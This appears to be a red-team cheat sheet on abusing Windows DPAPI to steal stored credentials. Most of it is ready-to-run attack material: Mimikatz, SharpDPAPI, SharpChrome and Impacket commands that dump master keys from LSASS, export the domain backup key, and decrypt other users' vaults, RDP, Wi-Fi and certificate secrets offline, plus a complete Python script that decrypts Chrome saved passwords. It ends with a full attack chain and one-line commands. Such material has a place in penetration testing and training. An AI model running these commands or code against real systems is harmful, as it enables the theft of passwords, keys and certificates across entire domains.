ᛉ Yggdrasil

Windows

DPAPI Abuse

15 Sep 2026 · 2,956 words · 13 min

Contents

Legend: [DPAPI] = Data Protection API | [BLOB] = DPAPI encrypted blob | [MASTER] = Master key | [CRED] = Credential file | [VAULT] = Windows Vault | [CHROME] = Browser credential | [MIMI] = Mimikatz | [SHARP] = SharpDPAPI | [DOMAIN] = Domain DPAPI | [OFFLINE] = Offline decryption | [PERSIST] = Persistence


1. DPAPI Fundamentals

What it means: DPAPI (Data Protection API) is a Windows built-in encryption service that lets applications encrypt sensitive data (passwords, keys, certificates) tied to a user's login credentials or the machine account — WITHOUT the application managing the encryption keys itself. For attackers with SYSTEM or DA access, DPAPI becomes a treasure chest of stored credentials.


1.1 What DPAPI Protects

Applications using DPAPI:
├── Chrome / Edge / Firefox → saved passwords, cookies, tokens
├── Windows Credential Manager → saved network + web credentials
├── Windows Vault → RDP passwords, certificates
├── Outlook → email account passwords (PST keys)
├── IE / Edge legacy → saved passwords
├── OneDrive / Teams → OAuth tokens
├── AWS CLI → stored access keys
├── OpenSSH for Windows → private keys
├── WiFi passwords → WPA/WPA2 keys
├── EFS (Encrypting FS) → file encryption keys
└── Custom apps using CryptProtectData()

1.2 Why DPAPI Matters for Red Teams

┌──────────────────────────────────────────────────────────────────────────────┐
│                   DPAPI CREDENTIAL THEFT (PENTEST FLOW)                      │
├──────────────────────────────────────────────────────────────────────────────┤
│                                                                              │
│   User has saved credentials (Chrome / Credential Manager)                   │
│                                                                              │
│                               ▼                                             │
│                                                                              │
│   Chrome encrypts secrets using DPAPI → stored in SQLite DB                  │
│                                                                              │
│                               ▼                                             │
│                                                                              │
│   Attacker extracts DPAPI master key:                                        │
│                                                                              │
│     ├─ As USER   : use current logon session → decrypt directly              │
│     ├─ As SYSTEM : dump LSA secrets → recover user master key                │
│     └─ As DA     : use domain backup key → decrypt any user data             │
│                                                                              │
│                               ▼                                             │
│                                                                              │
│   Decrypt all DPAPI blobs → full credential compromise                       │
│                                                                              │
└──────────────────────────────────────────────────────────────────────────────┘

2. DPAPI Key Hierarchy

What it means: DPAPI uses a layered key hierarchy — each layer protects the next. Understanding this chain tells you exactly what you need to decrypt any given DPAPI-protected secret.


2.1 Key Hierarchy

┌──────────────────────────────────────────────────────────────────────────────┐
│                           DPAPI KEY HIERARCHY                                │
├──────────────────────────────────────────────────────────────────────────────┤
│                                                                              │
│   User Password / Machine Secret                                             │
│                                                                              │
│                               ▼                                              │
│                      (PBKDF2 derivation)                                     │
│                                                                              │
│   Prekey (password + SID + entropy)                                          │
│                                                                              │
│                               ▼                                              │
│                          (decrypts)                                          │
│                                                                              │
│   Master Key (64 bytes, stored in MasterKey file)                            │
│                                                                              │
│                               ▼                                              │
│                          (decrypts)                                          │
│                                                                              │
│   DPAPI Blob (actual encrypted secret)                                       │
│                                                                              │
│                                                                              │
│   Master Key Storage:                                                        │
│                                                                              │
│     User   : C:\Users\<user>\AppData\Roaming\Microsoft\Protect\<SID>\        │
│     System : C:\Windows\System32\Microsoft\Protect\S-1-5-18\                 │
│                                                                              │
│                                                                              │
│   Domain Backup Key (DPAPI Domain):                                          │
│                                                                              │
│     ├─ Stored on ALL Domain Controllers (LSA secret)                         │
│     ├─ Can decrypt ANY user's master key in the domain                       │
│     └─ Static (does not rotate like KRBTGT)                                  │
│                                                                              │
└──────────────────────────────────────────────────────────────────────────────┘

2.2 Master Key File Structure

Master Key File Location:
%APPDATA%\Microsoft\Protect
C:\Users\john\AppData\Roaming\Microsoft\Protect\S-1-5-21-...
├── 12345678-1234-1234-1234-123456789abc ← Master Key file (GUID)
├── 87654321-4321-4321-4321-cba987654321 ← older key (rotation)
└── Preferred ← points to current key

Master Key file contains:
├── Master Key → encrypted with user's password-derived key
├── Backup Key → encrypted with DOMAIN backup key (if domain-joined)
└── Domain Key → can be decrypted by DC at any time!

System Master Keys:
C:\Windows\System32\Microsoft\Protect\S-1-5-18\User
└── Used for SYSTEM-level DPAPI blobs (WiFi, machine certs, etc.)


3. Enumeration & Discovery

3.1 Find DPAPI Blobs & Master Keys

# ─── List master key files for current user ───
dir "$env:APPDATA\Microsoft\Protect\" /s /a
ls $env:APPDATA\Microsoft\Protect\ -Force -Recurse

# ─── System master keys ───
ls C:\Windows\System32\Microsoft\Protect\S-1-5-18\ -Force -Recurse

# ─── Find all DPAPI blobs on the system ───
# Credential files:
ls "$env:APPDATA\Microsoft\Credentials\" -Force
ls "$env:LOCALAPPDATA\Microsoft\Credentials\" -Force
ls "C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials\" -Force

# Vault files:
ls "$env:APPDATA\Microsoft\Vault\" -Force -Recurse
ls "$env:LOCALAPPDATA\Microsoft\Vault\" -Force -Recurse
ls "C:\ProgramData\Microsoft\Vault\" -Force -Recurse

# ─── Find ALL credential/vault files system-wide ───
Get-ChildItem -Path C:\Users\ -Recurse -Force -ErrorAction SilentlyContinue |
    Where-Object { $_.FullName -like "*\Microsoft\Credentials\*" -or
                   $_.FullName -like "*\Microsoft\Vault\*" }

3.2 Automated Enumeration with SharpDPAPI

# ─── SharpDPAPI — the gold standard DPAPI tool ───

# Triage all DPAPI material for current user:
.\SharpDPAPI.exe triage

# Triage credentials:
.\SharpDPAPI.exe credentials

# Triage vault:
.\SharpDPAPI.exe vaults

# Triage master keys:
.\SharpDPAPI.exe masterkeys

# Full triage (everything):
.\SharpDPAPI.exe triage /unprotect
# /unprotect = use current user context to decrypt automatically!

3.3 Seatbelt Enumeration

# Seatbelt finds DPAPI material:
.\Seatbelt.exe DPAPICredFiles
.\Seatbelt.exe DPAPIMasterKeys
.\Seatbelt.exe CloudCredentials
.\Seatbelt.exe ChromiumPresence
.\Seatbelt.exe -group=all

4. Local DPAPI Decryption

4.1 Decrypt as Current User (Easiest)

# ─── Method 1: SharpDPAPI (automatic — uses current user session) ───
.\SharpDPAPI.exe credentials /unprotect
.\SharpDPAPI.exe vaults /unprotect
.\SharpDPAPI.exe triage /unprotect

# ─── Method 2: Mimikatz (current user context) ───
.\mimikatz.exe

# Decrypt specific DPAPI blob:
dpapi::blob /in:"C:\path\to\blob.bin" /unprotect

# Decrypt credential file:
dpapi::cred /in:"%APPDATA%\Microsoft\Credentials\<GUID>"

# Decrypt all credentials:
dpapi::cred /in:"%APPDATA%\Microsoft\Credentials\<GUID>" /unprotect

# ─── PowerShell: CryptUnprotectData (native) ───
Add-Type -AssemblyName System.Security
$blob = [System.IO.File]::ReadAllBytes("C:\path\to\blob")
$decrypted = [System.Security.Cryptography.ProtectedData]::Unprotect(
    $blob, $null,
    [System.Security.Cryptography.DataProtectionScope]::CurrentUser
)
[System.Text.Encoding]::UTF8.GetString($decrypted)

4.2 Decrypt as SYSTEM (Local Machine Key)

:: ─── Get SYSTEM shell first ───
:: (via token impersonation, service exploit, etc.)

:: Mimikatz as SYSTEM — get user master keys via LSA ───
.\mimikatz.exe
privilege::debug
token::elevate    :: elevate to SYSTEM

:: Dump all DPAPI master keys using LSA secrets:
sekurlsa::dpapi
:: Output: ALL cached master keys for logged-on users!
::         Includes: GUID + Master Key bytes (64 bytes hex)

:: Use dumped master key to decrypt blobs:
dpapi::cred /in:"%APPDATA%\Microsoft\Credentials\<GUID>" \
            /masterkey:<HEX_MASTERKEY>

4.3 Extract Master Keys via sekurlsa::dpapi

:: ─── MOST POWERFUL LOCAL METHOD ───
:: Dumps ALL cached master keys from LSASS memory!

.\mimikatz.exe
privilege::debug
sekurlsa::dpapi

:: Output example:
:: Authentication Id : 0 ; 999 (00000000:000003e7)
:: User Name         : john
:: Domain            : CORP
:: SID               : S-1-5-21-...-1105
::  
::   * GUID      : {12345678-1234-1234-1234-123456789abc}
::   * Time      : 4/8/2026 5:30:00 PM
::   * MasterKey : aabbccdd...  ← 64-byte master key!
::   * sha1(key) : 1234567890abcdef...

:: Save master key → decrypt ANY blob for that user!

5. Domain DPAPI Abuse

What it means: The most powerful DPAPI attack. Every domain-joined machine's DPAPI master keys have a backup encrypted with the Domain DPAPI Backup Key — a single RSA key stored on ALL Domain Controllers. Extracting this key lets you decrypt any DPAPI blob from any user in the entire domain — forever.


5.1 Domain Backup Key Characteristics

Domain DPAPI Backup Key:
├── RSA 2048-bit key pair
├── Created when first domain-joined machine uses DPAPI
├── Stored as LSA secret on ALL Domain Controllers
├── NEVER ROTATED (unlike KRBTGT!)
├── If stolen → decrypt ALL domain users' DPAPI secrets permanently!
├── Protected by: Domain Admin rights to extract
└── Key name: "DPAPI_SYSTEM" in LSA secrets

5.2 Extract Domain Backup Key

:: ─── Method 1: Mimikatz lsadump::backupkeys (from DA) ───
.\mimikatz.exe
privilege::debug
lsadump::backupkeys /system:DC01.corp.local /export
:: Exports:
::   ntds_capi_*.pvk   → RSA private key (PVK format)
::   ntds_capi_*.der   → RSA public key

:: ─── Method 2: Mimikatz direct ───
lsadump::backupkeys /system:DC01.corp.local /guid:{GUID} /export

:: ─── Method 3: SharpDPAPI (exports to file) ───
.\SharpDPAPI.exe backupkey /target:DC01.corp.local

:: ─── Method 4: Impacket (from Linux) ───
impacket-dpapi backupkeys --action backup \
    -t corp.local/DomainAdmin:Password@DC01.corp.local
# Saves: key_material.pvk

:: ─── Alternative: DCSync approach ───
.\mimikatz.exe "lsadump::dcsync /domain:corp.local /guid:{backupkey-guid}" exit

5.3 Decrypt Domain User Credentials with Backup Key

:: ─── With backup key → decrypt ANY domain user's master keys ───

:: SharpDPAPI: use backup key to decrypt all credentials
.\SharpDPAPI.exe masterkeys /pvk:ntds_capi_1234.pvk
:: → Decrypts ALL master keys of current domain user!

:: Decrypt specific user's credentials:
.\SharpDPAPI.exe credentials /pvk:ntds_capi_1234.pvk
.\SharpDPAPI.exe vaults /pvk:ntds_capi_1234.pvk

:: ─── Decrypt another domain user's DPAPI blobs ───
:: 1. Copy target user's profile files:
:: %APPDATA%\Microsoft\Protect\<SID>\ (master keys)
:: %APPDATA%\Microsoft\Credentials\ (credential blobs)

:: 2. Decrypt master key using backup key:
.\SharpDPAPI.exe masterkeys \
    /target:"C:\loot\Protect\S-1-5-21-...-1105" \
    /pvk:ntds_capi_1234.pvk

:: 3. Use decrypted master key to decrypt credentials:
.\SharpDPAPI.exe credentials \
    /target:"C:\loot\Credentials\<GUID>" \
    /masterkey:<HEX_MASTERKEY>

:: ─── Mimikatz with backup key ───
.\mimikatz.exe
dpapi::masterkey /in:"C:\loot\Protect\<SID>\<GUID>" \
                 /pvk:ntds_capi_1234.pvk

:: Then use masterkey to decrypt:
dpapi::cred /in:"C:\loot\Credentials\<GUID>" \
            /masterkey:<HEX_MASTERKEY>

5.4 Impacket dpapi (Linux Attack Flow)

# ─── Full offline domain DPAPI attack from Linux ───

# Step 1: Get backup key
impacket-dpapi backupkeys \
    --action backup \
    -t corp.local/DA:Password@DC01.corp.local
# → backup_key.pvk

# Step 2: Collect user files (via SMB)
impacket-smbclient corp.local/DA:Password@WORKSTATION01.corp.local
# Download:
# C:\Users\john\AppData\Roaming\Microsoft\Protect\
# C:\Users\john\AppData\Roaming\Microsoft\Credentials\

# Step 3: Decrypt master key
impacket-dpapi masterkey \
    -file "Protect/S-1-5-21-.../key_guid" \
    -pvk backup_key.pvk

# Step 4: Decrypt credential blob
impacket-dpapi credential \
    -file "Credentials/GUID" \
    -key <HEX_MASTER_KEY>

# Step 5: Browser passwords
impacket-dpapi chrome \
    -logindata "path/to/Login Data" \
    -key <HEX_MASTER_KEY>

6. Browser Credential Extraction

What it means: Chrome, Edge, and Chromium-based browsers encrypt saved passwords using DPAPI (CryptProtectData). The encrypted passwords sit in a SQLite database — decryptable with the user's DPAPI master key.


6.1 Chrome / Edge Password Extraction

# ─── Database locations ───
# Chrome:
$chrome_db   = "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data"
$chrome_key  = "$env:LOCALAPPDATA\Google\Chrome\User Data\Local State"

# Edge:
$edge_db     = "$env:LOCALAPPDATA\Microsoft\Edge\User Data\Default\Login Data"
$edge_key    = "$env:LOCALAPPDATA\Microsoft\Edge\User Data\Local State"

# Brave:
$brave_db    = "$env:LOCALAPPDATA\BraveSoftware\Brave-Browser\User Data\Default\Login Data"

# ─── SharpChrome (automated) ───
.\SharpChrome.exe logins
# Decrypts and dumps all Chrome saved passwords!

.\SharpChrome.exe logins /browser:edge
.\SharpChrome.exe cookies       # dump all cookies!
.\SharpChrome.exe logins /pvk:backup_key.pvk   # offline with domain backup key

# ─── SharpDPAPI chrome ───
.\SharpDPAPI.exe chrome

# ─── Manual PowerShell extraction ───
# Copy database (Chrome locks it while running):
Copy-Item $chrome_db "$env:TEMP\Login Data"

# Query saved passwords:
Add-Type -AssemblyName System.Data
$conn = New-Object System.Data.SQLite.SQLiteConnection
$conn.ConnectionString = "Data Source=$env:TEMP\Login Data"
$conn.Open()
$cmd = $conn.CreateCommand()
$cmd.CommandText = "SELECT origin_url, username_value, password_value FROM logins"
$reader = $cmd.ExecuteReader()
while ($reader.Read()) {
    $url  = $reader["origin_url"]
    $user = $reader["username_value"]
    $enc  = $reader["password_value"]
    # Decrypt password_value with DPAPI:
    $dec  = [System.Security.Cryptography.ProtectedData]::Unprotect(
        $enc, $null,
        [System.Security.Cryptography.DataProtectionScope]::CurrentUser
    )
    Write-Host "$url | $user | $([System.Text.Encoding]::UTF8.GetString($dec))"
}

6.2 Chrome v80+ AES-256 Encryption

# Chrome v80+ uses AES-256-GCM in addition to DPAPI!
# The AES key itself is DPAPI-protected in "Local State" file

import json, base64, sqlite3, shutil, os
from Crypto.Cipher import AES
import win32crypt   # pywin32

def get_chrome_key():
    local_state_path = os.path.expandvars(
        r"%LOCALAPPDATA%\Google\Chrome\User Data\Local State")
    with open(local_state_path, 'r') as f:
        local_state = json.loads(f.read())

    # Extract encrypted key:
    encrypted_key = base64.b64decode(
        local_state["os_crypt"]["encrypted_key"])
    # Remove "DPAPI" prefix (first 5 bytes):
    encrypted_key = encrypted_key[5:]
    # Decrypt with DPAPI:
    key = win32crypt.CryptUnprotectData(encrypted_key, None, None, None, 0)[1]
    return key

def decrypt_password(encrypted_password, key):
    try:
        # v80+ format: b"v10" + nonce(12) + ciphertext
        iv = encrypted_password[3:15]
        payload = encrypted_password[15:]
        cipher = AES.new(key, AES.MODE_GCM, iv)
        return cipher.decrypt(payload)[:-16].decode()
    except:
        # Fallback to DPAPI (older entries)
        return win32crypt.CryptUnprotectData(
            encrypted_password, None, None, None, 0).decode()[1]

# Get key + decrypt all passwords:
key = get_chrome_key()
login_db = os.path.expandvars(
    r"%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data")
shutil.copy(login_db, "LoginData.db")
conn = sqlite3.connect("LoginData.db")
for row in conn.execute(
        "SELECT origin_url, username_value, password_value FROM logins"):
    url, user, enc_pass = row
    password = decrypt_password(enc_pass, key)
    print(f"[+] {url} | {user} | {password}")

7. Windows Vault & Credential Manager

What it means: Windows Credential Manager stores network credentials, web credentials, and certificates in "Vaults" — all DPAPI-encrypted. This includes saved RDP passwords, domain credentials cached for services, and NTLM hashes.


7.1 Enumerate Credential Manager

:: ─── List stored credentials ───
cmdkey /list
:: Shows all: generic, domain, certificate credentials

:: PowerShell:
[System.Security.CredentialManagement] assembly or:
Get-StoredCredential   :: if CredentialManagement module installed

:: ─── Vault locations ───
:: Web credentials:    %APPDATA%\Microsoft\Vault\
:: Windows creds:      %LOCALAPPDATA%\Microsoft\Vault\
:: System creds:       C:\ProgramData\Microsoft\Vault\

7.2 Decrypt Vault Credentials

:: ─── Mimikatz vault dump ───
.\mimikatz.exe
privilege::debug
vault::list               :: list all vaults
vault::cred /patch        :: dump ALL vault credentials!

:: Example output:
:: TargetName : Domain:target=server01
:: UserName   : CORP\john
:: Password   : P@ssword123  ← DECRYPTED!

:: ─── SharpDPAPI vaults ───
.\SharpDPAPI.exe vaults /unprotect

:: ─── SharpDPAPI with specific masterkey ───
.\SharpDPAPI.exe vaults /masterkey:<HEX_KEY>

:: ─── Manual: decrypt vault BLOB ───
dpapi::vault /in:"%APPDATA%\Microsoft\Vault\<GUID>\Policy.vpol" /unprotect
dpapi::vault /in:"%APPDATA%\Microsoft\Vault\<GUID>\<GUID>.vcrd" /unprotect

8. RDP Saved Credentials

What it means: When users check "Remember me" in Remote Desktop Connection, the credentials are stored as DPAPI-encrypted vault entries — extractable with the user's master key.


8.1 Extract RDP Credentials

:: ─── List RDP saved creds ───
cmdkey /list | findstr "TERMSRV"
:: TERMSRV = Terminal Services (RDP target)

:: ─── Decrypt RDP credentials ───
.\mimikatz.exe
vault::cred /patch
:: Look for: TargetName = TERMSRV/server.corp.local

:: ─── SharpDPAPI ───
.\SharpDPAPI.exe rdg          :: decrypt .rdg files
.\SharpDPAPI.exe vaults /unprotect

:: ─── .RDP file saved passwords ───
:: .rdg (RDCMan config) files also store DPAPI blobs!
.\SharpDPAPI.exe rdg /unprotect
:: OR
.\SharpDPAPI.exe rdg /pvk:backup_key.pvk   :: using domain backup key!

9. Certificate & SSH Key Extraction

9.1 Extract Private Keys from Certificate Store

:: ─── Enumerate user certificates ───
certutil -store My
:: Lists: personal certificates + key container GUIDs

:: ─── SharpDPAPI certificates ───
.\SharpDPAPI.exe certificates /unprotect
:: Decrypts and exports certificate private keys!

:: ─── Mimikatz certificate export ───
.\mimikatz.exe
crypto::certificates /export
:: Exports all accessible certificates to .pfx files!

:: ─── With domain backup key ───
.\SharpDPAPI.exe certificates /pvk:backup_key.pvk
:: → ALL domain user certificate private keys!

9.2 OpenSSH Key Extraction

# Windows OpenSSH stores private keys in DPAPI-encrypted format:
# C:\Users\<user>\.ssh\   (may be DPAPI-wrapped)
# C:\ProgramData\ssh\     (system keys)

# ─── SharpDPAPI SSH keys ───
.\SharpDPAPI.exe sshkeys

# ─── Manual extraction ───
$key_path = "$env:USERPROFILE\.ssh\id_rsa"
# If DPAPI encrypted, starts with: -----BEGIN DPAPI ENCRYPTED PRIVATE KEY-----
# SharpDPAPI handles decryption automatically

10. Offline DPAPI Decryption

What it means: With NTDS.dit + SYSTEM hive (from a DC or compromised machine) you can decrypt DPAPI master keys entirely offline — no live system needed. Critical for post-compromise offline analysis.


10.1 Offline Master Key Decryption

# ─── Requirements ───
# 1. User's master key file: %APPDATA%\Microsoft\Protect\<SID>\<GUID>
# 2. SYSTEM hive OR user's NTLM hash OR domain backup key

# ─── Method 1: With user NTLM hash (Impacket) ───
impacket-dpapi masterkey \
    -file "masterkeyfile" \
    -sid S-1-5-21-...-1105 \
    -password "P@ssword123"
# OR with hash:
impacket-dpapi masterkey \
    -file "masterkeyfile" \
    -sid S-1-5-21-...-1105 \
    -hash :NTLM_HASH_OF_USER

# ─── Method 2: With domain backup key ───
impacket-dpapi masterkey \
    -file "masterkeyfile" \
    -pvk backup_key.pvk

# ─── Method 3: With SYSTEM hive (for SYSTEM DPAPI blobs) ───
impacket-secretsdump -system SYSTEM LOCAL
# Get DPAPI_SYSTEM secret → derive system master key

# ─── Method 4: SharpDPAPI offline ───
.\SharpDPAPI.exe masterkeys /pvk:backup_key.pvk /target:.\Protect\

10.2 WiFi Password Extraction (SYSTEM DPAPI)

:: WiFi passwords stored in:
:: C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces\{GUID}\{GUID}.xml
:: Protected with SYSTEM DPAPI!

:: ─── Native method (as SYSTEM or Admin) ───
netsh wlan show profiles
netsh wlan show profile name="WiFiName" key=clear
:: Shows: Key Content = <WIFI_PASSWORD>

:: ─── Mimikatz ───
.\mimikatz.exe
privilege::debug
token::elevate    :: get SYSTEM
dpapi::wifi /unprotect

:: ─── SharpDPAPI wifi ───
.\SharpDPAPI.exe wifi

11. Complete Cheat Sheet

11.1 DPAPI Blob Locations

Type Location Tool
──────────────────────────────────────────────────────────────────────────────
Master Keys (user) %APPDATA%\Microsoft\Protect\ mimikatz/SharpDPAPI
Master Keys (sys) C:\Windows\System32\Microsoft\Protect\S-1-5-18\ mimikatz
Credentials %APPDATA%\Microsoft\Credentials\ vault::cred
Credentials (sys) C:\Windows\System32\config\systemprofile..\ vault::cred
Vault (user) %APPDATA%\Microsoft\Vault\ vault::list
Vault (system) C:\ProgramData\Microsoft\Vault\ vault::list
Chrome passwords %LOCALAPPDATA%\Google\Chrome...\Login Data SharpChrome
Edge passwords %LOCALAPPDATA%\Microsoft\Edge...\Login Data SharpChrome
WiFi passwords C:\ProgramData\Microsoft\Wlansvc\Profiles\ dpapi::wifi
SSH keys %USERPROFILE%.ssh\ SharpDPAPI sshkeys
Certificates %APPDATA%\Microsoft\SystemCertificates\ crypto::certs
RDCMan (.rdg) Anywhere on disk SharpDPAPI rdg

11.2 Decryption Methods by Privilege Level

Your Access Level Best Decryption Method
──────────────────────────────────────────────────────────────────────
Running as target user CryptUnprotectData / SharpDPAPI /unprotect
SYSTEM on local machine sekurlsa::dpapi → get cached master keys
Local admin Dump LSASS → sekurlsa::dpapi
Domain Admin lsadump::backupkeys → domain backup key
→ decrypt ALL domain users forever!
Offline with NTLM hash impacket-dpapi masterkey -hash
Offline with backup key impacket-dpapi / SharpDPAPI /pvk:key.pvk

11.3 Full Attack Chain

  1. Get DA (via golden ticket / DCSync / credential theft)
    ↓

  2. Extract Domain DPAPI Backup Key (lasts forever!)
    mimikatz "lsadump::backupkeys /system:DC01.corp.local /export"
    ↓

  3. Collect DPAPI material from target users:

    • Protect\ (master keys)

    • Credentials\ (vault blobs)

    • Chrome Login Data (browser passwords)

    • SSH keys, certificates
      ↓

  4. Decrypt everything offline with backup key:
    .\SharpDPAPI.exe triage /pvk:backup_key.pvk
    ↓

  5. Result:

    • All saved browser passwords

    • All Windows Vault credentials

    • All RDP saved passwords

    • All certificate private keys

    • WiFi passwords

    • Any application using DPAPI

11.4 One-Line Commands

:: Dump all cached master keys from LSASS:
mimikatz "privilege::debug" "sekurlsa::dpapi" exit

:: Dump all vault credentials:
mimikatz "privilege::debug" "vault::cred /patch" exit

:: Export domain backup key:
mimikatz "lsadump::backupkeys /system:DC01.corp.local /export" exit

:: SharpDPAPI full triage (current user):
.\SharpDPAPI.exe triage /unprotect

:: SharpDPAPI with domain backup key:
.\SharpDPAPI.exe triage /pvk:backup_key.pvk

:: SharpChrome all passwords:
.\SharpChrome.exe logins

:: WiFi passwords:
mimikatz "privilege::debug" "token::elevate" "dpapi::wifi /unprotect" exit

:: All Chrome passwords (Python):
python3 chrome_decrypt.py

11.5 Tool Summary

Tool Language Best Use
Mimikatz C Live LSASS dump, vault, wifi
SharpDPAPI C# Comprehensive offline/online triage
SharpChrome C# Browser credential extraction
Seatbelt C# DPAPI enumeration
impacket-dpapi Python Offline Linux-side decryption
LaZagne Python All-in-one credential recovery
DonPAPI Python Remote DPAPI extraction

← Windows top ↑